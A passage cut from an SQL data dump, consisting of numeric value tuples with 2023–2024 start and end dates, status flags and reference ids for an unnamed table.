,'2',639,1),(9833,1406,13826,'2023-06-19','2023-10-12',0,'2',971,1),(9834,1708,13829,'2023-06-19','2023-06-22',1,'2',639,1),(9835,1708,13830,'2023-06-19','2023-06-22',1,'2',639,1),(9836,1708,13831,'2023-06-19','2023-06-22',1,'2',639,1),(9837,1708,13832,'2023-06-19','2023-06-22',1,'2',639,1),(9838,192,13827,'2023-06-20','2023-07-04',1,'2',45,1),(9839,1779,13842,'2023-06-20','2023-08-05',1,'2',975,1),(9840,1790,13841,'2023-06-20','2023-06-26',1,'2',981,1),(9841,1790,13840,'2023-06-20','2023-06-26',1,'2',981,1),(9842,1790,13839,'2023-06-20','2023-06-26',1,'2',981,1),(9843,1790,13838,'2023-06-20','2023-06-26',1,'2',981,1),(9844,1790,13837,'2023-06-20','2023-06-26',1,'2',981,1),(9845,1790,13835,'2023-06-20','2023-06-26',1,'2',981,1),(9846,1670,13828,'2023-06-20','2023-10-12',1,'2',277,1),(9847,1708,13843,'2023-06-21','2023-06-22',1,'2',639,1),(9848,1749,13846,'2023-06-21','2023-07-06',1,'2',996,1),(9849,1406,13847,'2023-06-22','2023-09-06',2,'4',971,1),(9850,1790,13845,'2023-06-23','2023-06-26',1,'2',981,1),(9851,1790,13844,'2023-06-23','2023-06-26',1,'2',981,1),(9852,194,13853,'2023-06-23','2023-06-28',1,'2',45,1),(9853,1790,13858,'2023-06-24','2023-06-26',1,'2',981,1),(9854,1790,13857,'2023-06-24','2023-06-26',1,'2',981,1),(9855,1749,13856,'2023-06-26','2023-07-06',1,'2',996,1),(9856,1750,13855,'2023-06-26','2023-07-06',1,'2',996,1),(9857,1749,13854,'2023-06-26','2023-07-06',1,'2',996,1),(9858,1406,13871,'2023-06-27','2023-10-12',0,'2',971,1),(9859,1750,13872,'2023-06-27','2023-07-06',1,'2',996,1),(9860,1749,13873,'2023-06-27','2023-07-06',1,'2',996,1),(9861,1789,13868,'2023-06-27','2023-07-18',1,'2',277,1),(9862,1668,13867,'2023-06-27','2023-07-18',1,'2',277,1),(9863,1664,13861,'2023-06-27','2023-07-18',1,'2',277,1),(9864,1732,13870,'2023-06-28','2023-06-28',1,'2',667,1),(9865,1732,13869,'2023-06-28','2023-06-28',1,'2',667,1),(9866,1732,13866,'2023-06-28','2023-06-28',1,'2',667,1),(9867,1732,13865,'2023-06-28','2023-06-28',1,'2',667,1),(9868,1732,13864,'2023-06-28','2023-06-28',1,'2',667,1),(9869,1732,13863,'2023-06-28','2023-06-28',1,'2',667,1),(9870,1732,13862,'2023-06-28','2023-06-28',1,'2',667,1),(9871,1732,13877,'2023-06-29','2023-06-29',1,'2',667,1),(9872,1732,13876,'2023-06-29','2023-06-29',1,'2',667,1),(9873,194,13878,'2023-06-29','2023-07-05',1,'2',45,1),(9874,192,13886,'2023-06-30','2023-07-05',1,'2',45,1),(9875,1789,13885,'2023-07-01','2023-08-03',1,'2',277,1),(9876,1789,13884,'2023-07-01','2023-08-03',1,'2',277,1),(9877,1789,13883,'2023-07-01','2023-08-03',1,'2',277,1),(9878,1789,13882,'2023-07-01','2023-08-03',1,'2',277,1),(9879,1788,13793,'2023-07-01','2023-07-01',0,'2',73,1),(9880,1788,13703,'2023-07-01','2023-07-01',0,'2',73,1),(9881,1781,13892,'2023-07-03','2023-08-03',1,'2',91,1),(9882,1781,13889,'2023-07-03','2023-10-12',0,'2',91,1),(9883,193,13887,'2023-07-03','2023-07-05',1,'2',45,1),(9884,161,13890,'2023-07-03',NULL,0,NULL,73,1),(9885,1750,13880,'2023-07-04','2023-07-06',1,'2',996,1),(9886,1789,13896,'2023-07-04','2023-08-03',1,'2',277,1),(9887,194,13895,'2023-07-04','2023-07-06',1,'2',45,1),(9888,191,13894,'2023-07-04','2023-07-06',1,'2',45,1),(9889,191,13893,'2023-07-04','2023-07-06',1,'2',45,1),(9890,192,13898,'2023-07-05','2023-07-27',1,'2',45,1),(9891,1452,13899,'2023-07-10','2023-10-12',1,'2',91,1),(9892,1574,13905,'2023-07-13','2023-07-13',1,'2',86,1),(9893,1574,13904,'2023-07-13','2023-07-13',1,'2',86,1),(9894,1574,13903,'2023-07-13','2023-07-13',1,'2',86,1),(9895,1574,13902,'2023-07-13','2023-07-13',1,'2',86,1),(9896,1574,13901,'2023-07-13','2023-07-13',1,'2',86,1),(9897,1574,13907,'2023-07-13','2023-07-13',1,'2',86,1),(9898,1574,13909,'2023-07-13','2023-07-13',1,'2',86,1),(9899,1574,13908,'2023-07-13','2023-07-13',1,'2',86,1),(9900,1574,13906,'2023-07-13','2023-07-13',1,'2',86,1),(9901,160,13916,'2023-07-14','2023-07-17',1,'2',73,1),(9902,160,13915,'2023-07-14','2023-07-17',1,'2',73,1),(9903,160,13914,'2023-07-14','2023-07-17',1,'2',73,1),(9904,160,13913,'2023-07-14','2023-07-17',1,'2',73,1),(9905,160,13912,'2023-07-14','2023-07-17',1,'2',73,1),(9906,160,13910,'2023-07-14','2023-07-17',1,'2',73,1),(9907,160,13911,'2023-07-14','2023-07-17',1,'2',73,1),(9908,1670,13917,'2023-07-18','2023-08-18',1,'2',277,1),(9909,194,13929,'2023-07-18','2023-07-27',1,'2',45,1),(9910,1406,13918,'2023-07-19','2023-08-09',1,'2',971,1),(9911,1654,13919,'2023-07-19','2023-08-09',1,'2',971,1),(9912,1406,13940,'2023-07-19','2023-08-02',1,'2',971,1),(9913,1342,13939,'2023-07-19','2023-08-02',1,'2',971,1),(9914,1406,13938,'2023-07-19','2023-08-02',1,'2',971,1),(9915,1710,13937,'2023-07-19','2023-08-02',1,'2',971,1),(9916,1782,13936,'2023-07-19','2023-08-09',1,'2',971,1),(9917,1342,13927,'2023-07-19','2023-09-15',1,'2',971,1),(9918,1654,13926,'2023-07-19','2023-08-24',1,'2',971,1),(9919,1406,13925,'2023-07-19','2023-08-24',1,'2',971,1),(9920,1782,13924,'2023-07-19','2023-08-09',1,'2',971,1),(9921,1654,13923,'2023-07-19','2023-08-24',1,'2',971,1),(9922,1406,13922,'2023-07-19','2023-08-24',1,'2',971,1),(9923,1406,13921,'2023-07-19','2023-08-09',1,'2',971,1),(9924,1654,13920,'2023-07-19','2023-08-09',1,'2',971,1),(9925,222,13935,'2023-07-19','2023-07-27',0,'2',85,1),(9926,222,13934,'2023-07-19','2023-07-27',0,'2',85,1),(9927,222,13933,'2023-07-19','2023-07-27',0,'2',85,1),(9928,222,13932,'2023-07-19','2023-07-27',0,'2',85,1),(9929,359,13931,'2023-07-20','2024-03-19',0,'2',251,1),(9930,357,13930,'2023-07-20','2024-03-19',0,'2',251,1),(9931,222,13947,'2023-07-21','2023-07-27',0,'2',85,1),(9932,222,13946,'2023-07-21','2023-07-27',0,'2',85,1),(9933,222,13945,'2023-07-21','2023-07-27',0,'2',85,1),(9934,222,13944,'2023-07-21','2023-07-27',0,'2',85,1),(9935,195,13950,'2023-07-21','2023-07-29',1,'2',45,1),(9936,188,13953,'2023-07-21','2023-07-25',1,'2',45,1),(9937,1783,13943,'2023-07-21','2023-08-05',1,'2',975,1),(9938,1783,13942,'2023-07-21','2023-08-05',1,'2',975,1),(9939,1783,13941,'2023-07-21','2023-08-05',1,'2',975,1),(9940,358,13955,'2023-07-22','2024-03-19',0,'2',251,1),(9941,222,13952,'2023-07-22','2024-03-19',1,'2',85,1),(9942,222,13951,'2023-07-22','2023-07-27',0,'2',85,1),(9943,633,13860,'2023-07-24','2023-10-12',0,'2',639,1),(9944,1408,13961,'2023-07-24','2023-09-11',1,'2',86,1),(9945,1452,13960,'2023-07-24','2024-01-03',1,'2',91,1),(9946,191,13967,'2023-07-24','2023-08-01',1,'2',45,1),(9947,358,13966,'2023-07-25','2024-03-19',0,'2',251,1),(9948,359,13965,'2023-07-25','2024-03-19',0,'2',251,1),(9949,357,13963,'2023-07-25','2024-03-19',0,'2',251,1),(9950,1674,13964,'2023-07-25','2024-03-19',0,'2',251,1),(9951,162,13962,'2023-07-25','2024-03-19',1,'2',73,1),(9952,1788,13948,'2023-07-26','2023-08-03',1,'2',73,1),(9953,358,13970,'2023-07-26','2023-07-31',0,'2',251,1),(9954,359,13968,'2023-07-26','2024-03-19',0,'2',251,1),(9955,1674,13969,'2023-07-26','2024-03-19',0,'2',251,1),(9956,162,13971,'2023-07-28','2023-09-14',1,'2',73,1),(9957,192,13978,'2023-07-28','2023-07-31',1,'2',45,1),(9958,192,13972,'2023-07-28','2023-07-29',1,'2',45,1),(9959,1367,13976,'2023-07-28','2023-07-31',1,'2',959,1),(9960,1367,13974,'2023-07-28','2023-07-29',1,'2',959,1),(9961,1367,13973,'2023-07-28','2023-07-29',1,'2',959,1),(9962,1367,13980,'2023-07-28','2024-03-19',1,'2',959,1),(9963,1367,13979,'2023-07-28','2024-03-19',1,'2',959,1),(9964,1367,13977,'2023-07-28','2024-03-19',1,'2',959,1),(9965,1367,13975,'2023-07-28','2023-07-29',1,'2',959,1),(9966,1324,13981,'2023-07-28','2023-12-19',1,NULL,959,1),(9967,192,13982,'2023-07-31','2023-07-31',1,'2',45,1),(9968,1732,13984,'2023-07-31','2023-11-30',1,'1',667,1),(9969,1732,13983,'2023-07-31','2023-08-18',1,'2',667,1),(9970,192,13987,'2023-07-31','2023-08-17',1,'2',45,1),(9971,191,13986,'2023-07-31','2023-08-02',1,'2',45,1),(9972,191,13985,'2023-07-31','2023-08-01',1,'2',45,1),(9973,1406,13988,'2023-07-31','2024-03-19',0,'2',971,1),(9974,1783,13959,'2023-08-01','2023-08-05',1,'2',975,1),(9975,1783,13958,'2023-08-01','2023-08-05',1,'2',975,1),(9976,1783,13957,'2023-08-01','2023-08-05',1,'2',975,1),(9977,1779,13956,'2023-08-01','2023-08-05',1,'2',975,1),(9978,1788,13848,'2023-08-04','2023-08-04',1,'2',73,1),(9979,1788,13850,'2023-08-04','2023-08-04',1,'2',73,1),(9980,1788,13859,'2023-08-04','2023-08-04',1,'2',73,1),(9981,1370,13995,'2023-08-05','2023-08-05',1,'2',667,1),(9982,1779,13994,'2023-08-05','2023-08-07',0,'2',975,1),(9983,1779,13993,'2023-08-05','2023-08-07',0,'2',975,1),(9984,1740,14005,'2023-08-07','2023-08-11',1,'2',1020,1),(9985,1740,14004,'2023-08-07','2024-03-19',1,'2',1020,1),(9986,1740,13996,'2023-08-07','2023-08-11',1,'2',1020,1),(9987,1740,13997,'2023-08-07','2023-08-11',1,'2',1020,1),(9988,1740,13998,'2023-08-07','2023-08-11',1,'2',1020,1),(9989,1740,13999,'2023-08-07','2023-08-11',1,'2',1020,1),(9990,1740,14000,'2023-08-07','2023-08-11',1,'2',1020,1),(9991,1740,14001,'2023-08-07','2023-08-11',1,'2',1020,1),(9992,1740,14002,'2023-08-07','2023-08-11',1,'2',1020,1),(9993,1740,14003,'2023-08-07','2023-08-11',1,'2',1020,1),(9994,194,14006,'2023-08-09','2023-08-18',1,'2',45,1),(9995,1790,14011,'2023-08-09','2023-08-11',1,'2',981,1),(9996,1790,14010,'2023-08-09','2023-08-11',1,'2',981,1),(9997,1790,14009,'2023-08-09','2023-08-11',1,'2',981,1),(9998,1790,14008,'2023-08-09','2023-08-11',1,'2',981,1),(9999,1790,14007,'2023-08-09','2023-08-11',1,'2',981,1),(10000,194,14012,'2023-08-10','2023-08-14',1,'2',45,1),(10001,194,14013,'2023-08-10','2023-08-14',1,'2',45,1),(10002,192,14014,'2023-08-10','2023-08-18',1,'2',45,1),(10003,1740,14015,'2023-08-10','2023-08-11',1,'2',1020,1),(10004,190,14021,'2023-08-11','2023-08-18',1,'2',45,1),(10005,1790,14020,'2023-08-11','2023-08-11',1,'2',981,1),(10006,1790,14019,'2023-08-11','2023-08-11',1,'2',981,1),(10007,1790,14018,'2023-08-11','2023-08-11',1,'2',981,1),(10008,1790,14017,'2023-08-11','2023-08-11',1,'2',981,1),(10009,1790,14016,'2023-08-11','2023-08-11',1,'2',981,1),(10010,358,14022,'2023-08-14','2023-12-04',1,'2',251,1),(10011,194,14026,'2023-08-23','2023-09-01',1,'2',45,1),(10012,194,14025,'2023-08-23','2023-08-30',1,'2',45,1),(10013,194,14028,'2023-08-24','2023-09-04',1,'2',45,1),(10014,194,14027,'2023-08-24','2023-09-04',1,'2',45,1),(10015,1788,13888,'2023-08-24','2023-10-12',0,'2',73,1),(10016,1788,13954,'2023-08-24',NULL,0,NULL,73,1),(10017,1788,14024,'2023-08-24','2023-11-04',1,'2',73,1),(10018,1788,14023,'2023-08-24','2023-09-06',1,'2',73,1),(10019,1788,13852,'2023-08-24','2023-10-12',0,'2',73,1),(10020,1342,14029,'2023-08-25','2023-08-25',1,NULL,971,1),(10021,1788,0,'2023-08-26',NULL,0,NULL,73,1),(10022,1788,13949,'2023-08-26','2023-08-26',1,'2',73,1),(10023,190,14030,'2023-08-28','2023-09-25',1,'2',45,1),(10024,1749,14041,'2023-08-29','2023-08-30',1,'2',996,1),(10025,1749,14040,'2023-08-29','2023-08-30',1,'2',996,1),(10026,1749,14039,'2023-08-29','2023-08-30',1,'2',996,1),(10027,1749,14038,'2023-08-29','2023-08-30',1,'2',996,1),(10028,1749,14037,'2023-08-29','2023-08-30',1,'2',996,1),(10029,1749,14036,'2023-08-29','2023-08-30',1,'2',996,1),(10030,1749,14035,'2023-08-29','2023-08-30',1,'2',996,1),(10031,1749,14034,'2023-08-29','2023-08-30',1,'2',996,1),(10032,1749,14033,'2023-08-29','2023-08-30',1,'2',996,1),(10033,1749,14032,'2023-08-29','2023-08-30',1,'2',996,1),(10034,1408,14042,'2023-08-31','2023-12-06',1,'2',86,1),(10035,1406,14031,'2023-08-31','2023-09-13',1,'2',971,1),(10036,190,14047,'2023-09-01','2023-09-27',1,'2',45,1),(10037,1011,14044,'2023-09-01','2024-05-23',1,'2',91,1),(10038,1012,14043,'2023-09-01','2024-03-27',0,'2',91,1),(10039,1406,13834,'2023-09-02','2023-09-19',0,'2',971,1),(10040,192,14058,'2023-09-04','2023-09-28',1,'2',45,1),(10041,1750,13790,'2023-09-04',NULL,0,NULL,996,1),(10042,634,14045,'2023-09-04','2023-10-03',0,'2',639,1),(10043,633,14052,'2023-09-04',NULL,0,NULL,639,1),(10044,634,14050,'2023-09-04','2023-10-03',0,'2',639,1),(10045,1708,14051,'2023-09-04','2023-10-03',0,'2',639,1),(10046,634,14049,'2023-09-04','2023-10-03',0,'2',639,1),(10047,633,14046,'2023-09-04','2023-10-03',0,'2',639,1),(10048,194,14053,'2023-09-04','2023-09-19',0,'2',45,1),(10049,193,14056,'2023-09-04','2023-09-20',0,'2',45,1),(10050,1668,14055,'2023-09-06',NULL,0,NULL,277,1),(10051,194,14061,'2023-09-08','2023-09-29',1,'2',45,1),(10052,162,14072,'2023-09-13','2023-09-14',1,'2',73,1),(10053,162,14071,'2023-09-13','2023-09-14',1,'2',73,1),(10054,162,14070,'2023-09-13','2023-09-14',1,'2',73,1),(10055,162,14069,'2023-09-13','2023-09-14',1,'2',73,1),(10056,162,14068,'2023-09-13','2023-09-14',1,'2',73,1),(10057,162,14067,'2023-09-13','2023-09-14',1,'2',73,1),(10058,162,14066,'2023-09-13','2023-09-14',1,'2',73,1),(10059,162,14065,'2023-09-13','2023-09-14',1,'2',73,1),(10060,162,14064,'2023-09-13','2023-09-14',1,'2',73,1),(10061,195,14073,'2023-09-14','2023-09-29',0,'4',45,1),(10062,194,14083,'2023-09-20','2023-10-03',1,'2',45,1),(10063,194,14084,'2023-09-21','2023-10-03',1,'2',45,1),(10064,1779,12398,'2023-09-21',NULL,0,NULL,975,1),(10065,192,13184,'2023-09-21','2023-10-17',0,'2',45,1),(10066,193,12758,'2023-09-21','2023-10-17',0,'2',45,1),(10067,194,12742,'2023-09-21',NULL,0,NULL,45,1),(10068,193,12739,'2023-09-21',NULL,0,NULL,45,1),(10069,192,0,'2023-09-21',NULL,0,NULL,45,1),(10070,193,0,'2023-09-21',NULL,0,NULL,45,1),(10071,1705,2051,'2023-09-21',NULL,0,NULL,91,1),(10072,1705,2623,'2023-09-21',NULL,0,NULL,91,1),(10073,1705,2697,'2023-09-21',NULL,0,NULL,91,1),(10074,1439,3874,'2023-09-21',NULL,0,NULL,86,1),(10075,162,6824,'2023-09-21',NULL,0,NULL,73,1),(10076,1439,6851,'2023-09-21','2023-11-13',0,'2',86,1),(10077,1439,8807,'2023-09-21','2023-11-13',0,'2',86,1),(10078,1710,12224,'2023-09-21',NULL,0,NULL,971,1),(10079,1782,14082,'2023-09-22','2023-10-06',1,'2',971,1),(10080,1782,14080,'2023-09-22','2023-10-06',1,'2',971,1),(10081,1710,14079,'2023-09-22','2023-10-06',1,'2',971,1),(10082,1406,14077,'2023-09-22','2023-10-06',1,'2',971,1),(10083,194,14085,'2023-09-23','2023-10-31',1,'2',45,1),(10084,1342,14076,'2023-09-25','2023-10-06',1,'2',971,1),(10085,1406,14074,'2023-09-25','2023-10-06',1,'2',971,1),(10086,1710,14087,'2023-09-27','2023-10-19',1,'2',971,1),(10087,1342,14086,'2023-09-27','2023-10-19',1,'2',971,1),(10088,194,14088,'2023-09-30','2023-10-03',1,'2',45,1),(10089,194,14089,'2023-10-03','2023-10-18',1,'2',45,1),(10090,1782,0,'2023-10-04',NULL,0,NULL,971,1),(10091,193,14090,'2023-10-05','2023-10-05',1,'2',45,1),(10092,192,14091,'2023-10-05','2023-10-05',1,'2',45,1),(10093,191,14092,'2023-10-05','2023-10-05',1,'2',45,1),(10094,1780,0,'2023-10-05',NULL,0,NULL,971,1),(10095,1342,14087,'2023-10-06','2023-10-19',1,'4',971,1),(10096,192,14093,'2023-10-07','2023-10-27',1,'2',45,1),(10097,1408,14095,'2023-10-10','2024-01-18',1,'4',86,1),(10098,194,14101,'2023-10-12','2023-10-28',1,'2',45,1),(10099,1654,14087,'2023-10-12',NULL,0,NULL,971,1),(10100,192,14104,'2023-10-13','2023-10-30',1,'2',45,1),(10101,191,14105,'2023-10-13','2023-10-31',1,'2',45,1),(10102,161,14099,'2023-10-16','2023-10-31',1,'2',73,1),(10103,1789,14103,'2023-10-17','2024-01-18',1,'4',277,1),(10104,1789,14102,'2023-10-17','2024-01-18',1,'4',277,1),(10105,194,14109,'2023-10-19','2023-10-25',1,'2',45,1),(10106,194,14111,'2023-10-21','2023-10-26',1,'2',45,1),(10107,1408,14122,'2023-10-23','2023-10-25',0,'2',86,1),(10108,1408,14121,'2023-10-23','2023-10-25',0,'2',86,1),(10109,1408,14113,'2023-10-23','2023-10-25',0,'2',86,1),(10110,1408,14119,'2023-10-23','2023-10-25',0,'2',86,1),(10111,1408,14120,'2023-10-23','2023-10-25',0,'2',86,1),(10112,1408,14118,'2023-10-23','2023-10-25',0,'2',86,1),(10113,1408,14117,'2023-10-23','2023-10-25',0,'2',86,1),(10114,1408,14114,'2023-10-23','2023-10-25',0,'2',86,1),(10115,1408,14115,'2023-10-23','2023-10-25',0,'2',86,1),(10116,1781,14062,'2023-10-23',NULL,0,NULL,91,1),(10117,1406,14123,'2023-10-25','2023-12-01',1,NULL,971,1),(10118,1783,14081,'2023-10-27','2023-12-14',1,'2',975,1),(10119,1791,0,'2023-10-30',NULL,0,NULL,326,1),(10120,1791,8797,'2023-10-30','2023-12-08',0,'2',326,1),(10121,194,14157,'2023-10-30','2023-11-28',1,'2',45,1),(10122,161,14116,'2023-10-31','2023-11-06',1,'2',73,1),(10123,161,14112,'2023-10-31','2023-11-06',1,'2',73,1),(10124,161,14106,'2023-10-31','2023-10-31',1,'2',73,1),(10125,194,14230,'2023-11-01','2023-11-03',1,'2',45,1),(10126,194,14229,'2023-11-01','2023-11-03',1,'2',45,1),(10127,1732,14242,'2023-11-02','2023-12-16',1,'2',667,1),(10128,1456,14241,'2023-11-02','2023-12-16',1,'2',667,1),(10129,1456,14240,'2023-11-02','2023-12-16',1,'2',667,1),(10130,1456,14239,'2023-11-02','2023-12-16',1,'2',667,1),(10131,1456,14238,'2023-11-02','2023-12-16',1,'2',667,1),(10132,1456,14235,'2023-11-02','2023-12-16',1,'2',667,1),(10133,1370,14234,'2023-11-02','2023-12-16',1,'2',667,1),(10134,1732,14233,'2023-11-02','2023-12-16',1,'2',667,1),(10135,1732,14232,'2023-11-02','2024-02-08',1,'2',667,1),(10136,1456,14231,'2023-11-02','2024-02-08',1,'2',667,1),(10137,1370,14194,'2023-11-02','2023-12-16',1,'2',667,1),(10138,1370,14184,'2023-11-02','2023-12-16',1,'2',667,1),(10139,1732,14183,'2023-11-02','2023-11-30',1,'2',667,1),(10140,1732,14182,'2023-11-02','2023-11-30',1,'2',667,1),(10141,1732,14151,'2023-11-02','2023-11-30',1,'2',667,1),(10142,1732,14145,'2023-11-02','2023-11-30',1,'2',667,1),(10143,1370,14143,'2023-11-02','2023-11-30',1,'2',667,1),(10144,1732,14141,'2023-11-02','2023-11-30',1,'2',667,1),(10145,1370,14139,'2023-11-02','2023-11-30',1,'2',667,1),(10146,1456,14135,'2023-11-02','2023-11-30',1,'2',667,1),(10147,1456,14137,'2023-11-02','2023-11-30',1,'2',667,1),(10148,1456,14134,'2023-11-30','2023-11-30',0,'2',667,1),(10149,1783,14059,'2023-11-02','2023-12-14',1,'2',975,1),(10150,1781,14181,'2023-11-02','2023-12-04',1,'2',91,1),(10151,1705,14179,'2023-11-02','2023-12-04',1,'2',91,1),(10152,1452,14177,'2023-11-02','2023-12-04',1,'2',91,1),(10153,1245,14174,'2023-11-02','2023-12-05',1,'2',91,1),(10154,1012,14172,'2023-11-02','2023-12-05',1,'2',91,1),(10155,1011,14168,'2023-11-02','2023-12-05',1,'2',91,1),(10156,1781,14166,'2023-11-02','2023-12-05',1,'2',91,1),(10157,1452,14164,'2023-11-02','2023-12-05',1,'2',91,1),(10158,1012,14154,'2023-11-02','2023-12-05',1,'2',91,1),(10159,1011,14147,'2023-11-02','2023-12-05',1,'2',91,1),(10160,1779,14138,'2023-11-02','2023-12-14',1,'2',975,1),(10161,1410,14140,'2023-11-02','2023-12-14',1,'2',975,1),(10162,1783,14150,'2023-11-02','2023-12-14',1,'2',975,1),(10163,1779,14156,'2023-11-02','2023-12-14',1,'2',975,1),(10164,1410,14225,'2023-11-02','2023-12-14',1,'2',975,1),(10165,1783,14226,'2023-11-02','2024-01-08',1,'2',975,1),(10166,1779,14228,'2023-11-02','2023-12-14',1,'2',975,1),(10167,1779,14227,'2023-11-02','2023-12-14',1,'2',975,1),(10168,192,14096,'2023-11-02','2023-11-27',1,'2',45,1),(10169,359,14132,'2023-11-03','2023-12-05',1,'2',251,1),(10170,358,14131,'2023-11-03','2023-12-05',1,'2',251,1),(10171,359,14128,'2023-11-03','2023-12-05',1,'2',251,1),(10172,358,14127,'2023-11-03','2023-12-04',1,'2',251,1),(10173,358,14126,'2023-11-03','2023-12-04',1,'2',251,1),(10174,359,14125,'2023-11-03','2023-12-04',1,'2',251,1),(10175,359,14124,'2023-11-03','2023-12-04',1,'2',251,1),(10176,195,14244,'2023-11-03','2023-12-26',0,'2',45,1),(10177,1069,14206,'2023-11-04','2023-12-07',1,'2',326,1),(10178,1070,14204,'2023-11-04','2023-12-07',1,'2',326,1),(10179,1067,14203,'2023-11-04','2023-12-07',1,'2',326,1),(10180,1068,14201,'2023-11-04','2023-12-07',1,'2',326,1),(10181,1791,14200,'2023-11-04','2023-12-07',1,'2',326,1),(10182,1068,14199,'2023-11-04','2023-12-07',1,'2',326,1),(10183,1791,14198,'2023-11-04','2023-12-08',1,'2',326,1),(10184,1070,14186,'2023-11-04','2023-12-07',1,'2',326,1),(10185,1324,14212,'2023-11-06','2023-12-19',1,'2',959,1),(10186,1310,14210,'2023-11-06','2023-12-19',1,'2',959,1),(10187,1786,14208,'2023-11-06','2023-12-19',1,'2',959,1),(10188,1784,14205,'2023-11-06','2023-12-27',1,'2',959,1),(10189,1787,14197,'2023-11-06','2023-12-19',1,'2',959,1),(10190,1785,14211,'2023-11-06','2023-12-19',1,'2',959,1),(10191,1367,14209,'2023-11-06','2023-12-22',1,'2',959,1),(10192,1315,14207,'2023-11-06','2023-12-19',1,NULL,959,1),(10193,1784,14202,'2023-11-06','2023-12-19',1,'2',959,1),(10194,1785,14196,'2023-11-06','2023-12-19',1,'2',959,1),(10195,359,14247,'2023-11-06','2023-12-15',1,'2',251,1),(10196,359,14246,'2023-11-06','2023-12-05',1,'2',251,1),(10197,359,14245,'2023-11-06','2023-12-05',1,'2',251,1),(10198,1708,14269,'2023-11-07','2023-12-21',1,'2',639,1),(10199,634,14268,'2023-11-07','2023-12-21',1,'2',639,1),(10200,633,14267,'2023-11-07','2023-12-21',1,'2',639,1),(10201,1708,14266,'2023-11-07','2023-12-21',1,'2',639,1),(10202,634,14265,'2023-11-07','2023-12-21',1,'2',639,1),(10203,634,14264,'2023-11-07','2023-12-21',1,'2',639,1),(10204,633,14263,'2023-11-07','2023-12-21',1,'2',639,1),(10205,633,14262,'2023-11-07','2023-12-21',1,'2',639,1),(10206,1708,14261,'2023-11-07','2023-12-21',1,'2',639,1),(10207,634,14260,'2023-11-07','2023-12-21',1,'2',639,1),(10208,1750,14258,'2023-11-07','2023-12-14',1,'2',996,1),(10209,1749,14257,'2023-11-07','2023-12-14',1,'2',996,1),(10210,1795,14256,'2023-11-07','2023-12-14',1,'2',996,1),(10211,1749,14255,'2023-11-07','2023-12-14',1,'2',996,1),(10212,1793,14254,'2023-11-07','2023-12-14',1,'2',996,1),(10213,1792,14253,'2023-11-07','2023-12-14',1,'2',996,1),(10214,1750,14252,'2023-11-07','2023-12-14',1,'2',996,1),(10215,1749,14251,'2023-11-07','2023-12-14',1,'2',996,1),(10216,1793,14250,'2023-11-07','2023-12-14',1,'2',996,1),(10217,1750,14249,'2023-11-07','2023-12-14',1,'2',996,1),(10218,192,14248,'2023-11-07',NULL,0,NULL,45,1),(10219,222,14195,'2023-11-08','2023-12-29',1,'2',85,1),(10220,222,14193,'2023-11-08','2023-12-29',1,'2',85,1),(10221,221,14192,'2023-11-08','2023-12-30',1,'2',85,1),(10222,221,14191,'2023-11-08','2023-12-30',1,'2',85,1),(10223,222,14190,'2023-11-08','2023-12-30',1,'2',85,1),(10224,222,14189,'2023-11-08','2023-12-30',1,'2',85,1),(10225,222,14188,'2023-11-08','2023-12-30',1,'2',85,1),(10226,222,14187,'2023-11-08','2023-12-30',1,'2',85,1),(10227,221,14185,'2023-11-08','2023-12-30',1,'2',85,1),(10228,222,14155,'2023-11-08','2023-12-30',1,'2',85,1),(10229,222,14153,'2023-11-08','2024-01-03',1,'2',85,1),(10230,221,14152,'2023-11-08','2024-01-03',1,'2',85,1),(10231,221,14149,'2023-11-08','2024-01-03',1,'2',85,1),(10232,221,14148,'2023-11-08','2024-01-03',1,'2',85,1),(10233,222,14146,'2023-11-08','2024-01-03',1,'2',85,1),(10234,221,14144,'2023-11-08','2024-01-03',1,'2',85,1),(10235,221,14142,'2023-11-08','2024-01-03',1,'2',85,1),(10236,222,14136,'2023-11-08','2024-01-03',1,'2',85,1),(10237,1790,14165,'2023-11-08','2023-11-30',1,'2',981,1),(10238,1790,14223,'2023-11-08','2023-11-30',1,'2',981,1),(10239,1790,14222,'2023-11-08','2023-11-30',1,'2',981,1),(10240,1790,14221,'2023-11-08','2024-01-10',1,'2',981,1),(10241,1790,14220,'2023-11-08','2023-11-30',1,'2',981,1),(10242,1790,14219,'2023-11-08','2023-11-30',1,'2',981,1),(10243,1790,14218,'2023-11-08','2023-11-30',1,'2',981,1),(10244,1790,14217,'2023-11-08','2023-11-30',1,'2',981,1),(10245,1790,14216,'2023-11-08','2023-11-30',1,'2',981,1),(10246,1790,14215,'2023-11-08','2023-11-30',1,'2',981,1),(10247,1790,14214,'2023-11-08','2023-12-15',1,'2',981,1),(10248,1790,14213,'2023-11-08','2023-12-15',1,'2',981,1),(10249,1790,14180,'2023-11-08','2023-12-15',1,'2',981,1),(10250,1790,14178,'2023-11-08','2023-12-15',1,'2',981,1),(10251,1790,14176,'2023-11-08','2023-12-15',1,'2',981,1),(10252,1067,0,'2023-11-08',NULL,0,NULL,326,1),(10253,1790,14175,'2023-11-08','2023-12-15',1,'2',981,1),(10254,1790,14173,'2023-11-08','2023-12-15',1,'2',981,1),(10255,1790,14171,'2023-11-08','2023-12-15',1,'2',981,1),(10256,1790,14170,'2023-11-08','2023-12-15',1,'2',981,1),(10257,1790,14169,'2023-11-08','2023-12-15',1,'2',981,1),(10258,1790,14167,'2023-11-08','2024-02-06',1,'2',981,1),(10259,1068,14283,'2023-11-09','2023-12-22',1,'2',326,1),(10260,1408,14284,'2023-11-10','2023-11-22',1,'2',86,1),(10261,1781,14110,'2023-11-10',NULL,0,NULL,91,1),(10262,1705,14285,'2023-11-13','2024-01-03',1,'2',91,1),(10263,1794,14306,'2023-11-16','2024-01-02',1,'2',996,1),(10264,1749,14305,'2023-11-16','2024-01-02',1,'2',996,1),(10265,1793,14304,'2023-11-16','2024-01-02',1,'2',996,1),(10266,1792,14303,'2023-11-16','2024-01-02',1,'2',996,1),(10267,1750,14302,'2023-11-16','2024-01-02',1,'2',996,1),(10268,1750,14301,'2023-11-16','2024-01-02',1,'2',996,1),(10269,1794,14300,'2023-11-16','2024-01-02',1,'2',996,1),(10270,1792,14299,'2023-11-16','2024-01-02',1,'2',996,1),(10271,1793,14298,'2023-11-16','2024-01-02',1,'2',996,1),(10272,1749,14297,'2023-11-16','2024-01-02',1,'2',996,1),(10273,194,14296,'2023-11-17','2023-11-29',1,'2',45,1),(10274,1786,14259,'2023-12-19','2023-12-26',1,'2',959,1),(10275,359,14282,'2023-11-21','2023-12-14',1,'2',251,1),(10276,1674,14281,'2023-11-21','2023-12-14',1,'2',251,1),(10277,359,14280,'2023-11-21','2023-12-14',1,'2',251,1),(10278,358,14279,'2023-11-21','2023-12-14',1,'2',251,1),(10279,358,14278,'2023-11-21','2023